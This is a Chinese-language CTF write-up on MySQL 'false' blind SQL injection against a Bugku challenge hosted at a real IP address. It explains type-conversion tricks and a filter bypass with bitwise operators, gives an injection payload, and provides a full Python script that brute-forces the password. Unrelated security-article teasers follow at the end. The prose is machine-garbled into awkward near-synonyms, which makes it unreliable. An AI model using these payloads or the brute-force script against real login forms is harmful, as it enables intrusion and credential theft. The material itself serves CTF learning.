0×01 前语
false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的思路和见地,都是值得学习的。
0×02 false注入原理
MYSQL的隐式类型转化,当字符串和数字比较时,会把字符串转为浮点数,而字符串转化时会发生一个warning,转化的成果为0,但假如字符串最初是数字话仍是会从数字部分切断,转化为数字
0×03 实例
举例地址为:
http://118.89.219.210:49167/index.php(Bugku)
填入username和password之后,Burp抓包,send to repeater剖析一下
发现过滤了挺多的,空格,%0a,/**/,and,union等等
可是 |(位或)&(位与)^(位异或)没有过滤掉
这儿的话应该来说都能够用,我试了一下|(位或)和 ^(位异或),这两个都是能够的
结构一个payload句子为:
username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd
函数介绍:
MID(column_name,start[,length]) 由于过滤掉空格的原因,才用上述格局
ASCII() 回来字符表达式最左端字符的ASCII 码值
当榜首字母的ascii码值为53的时分,右边的表明式则为false,与‘admin’ 或, 适当与 0 | 0 成果为0,当username=0时,回来查询字段的一切数据,(只需username没有以数字最初的)这儿留意 按位或的优先级高于=,所以是先按位或再赋值给username。
当然了,想结构为0的话不止只要位运算符,还有+号(‘ ’+‘ ’=0), -号(‘ ‘-’ ‘=0), *号(‘ ‘*’ ‘=0), /号(‘ ‘/1=0), %取余(‘ ‘%1=0)等等
能够先判别一下字段长度:
依据页面信息判别为32位
原理都讲得差不多了
能够自己手注,但好像太麻烦了
下面能够写一个Python脚本跑出来
import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result=''
for i in range(1,33):
for j in range(37,127):
payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
data={"username":payload,"password":"psdvs"}
print payload
html=r.post(url,data=data)
if "password error" in html.content:
result+=chr(j)
print result
break
print result
成果为:
在进行查询时,最要害的部分之一是找到黑客的进口点,尤其是当运维团队将受进犯的服务器康复正常后,咱们意识到有许多的服务器现已被各种webshell、rootkits和暗码导出东西感染时。 需求快速的...
FireEye近期承认TRITON歹意活动正在针对一个新的要害基础设施建议进犯,咱们现在现已对该歹意行为采取了呼应办法。 2019年12月,FireEye揭露发布了咱们针对TRITON进犯的第一次剖析...
前语 最近使用空余时刻做了一下Hgame,以下是部分web题题解。 happyPython 信息收集 发现是flask,顺手测验一下。 http://118.25.18.223:3001/{{1+1}...
TrickBot是自2019年以来影响规模最大的银行木马之一,经过几年的开展,现在的trickBot或许现已脱离了简略的“银行木马”的领域,它的模块化特点将歹意软件提高到了更高的水平。事实上,它能够被...
Exploit Kit职业现在正在发作新的调整,原先许多具有进犯性的缝隙进犯套件或许消失,或许市场份额削减,比方Nuclear EK和AnglerEK这样的职业大鳄几乎在同一时刻消失了,咱们估测这可能...
Fiyo CMS是小型的商务电话服务及移动协作东西,由一名前职业学校学生初次开发和创立的,后者其时在RPL的SMK 10三宝垄学习。 那时他的姓名不是Fiyo CMS,而是Sirion,它是Site...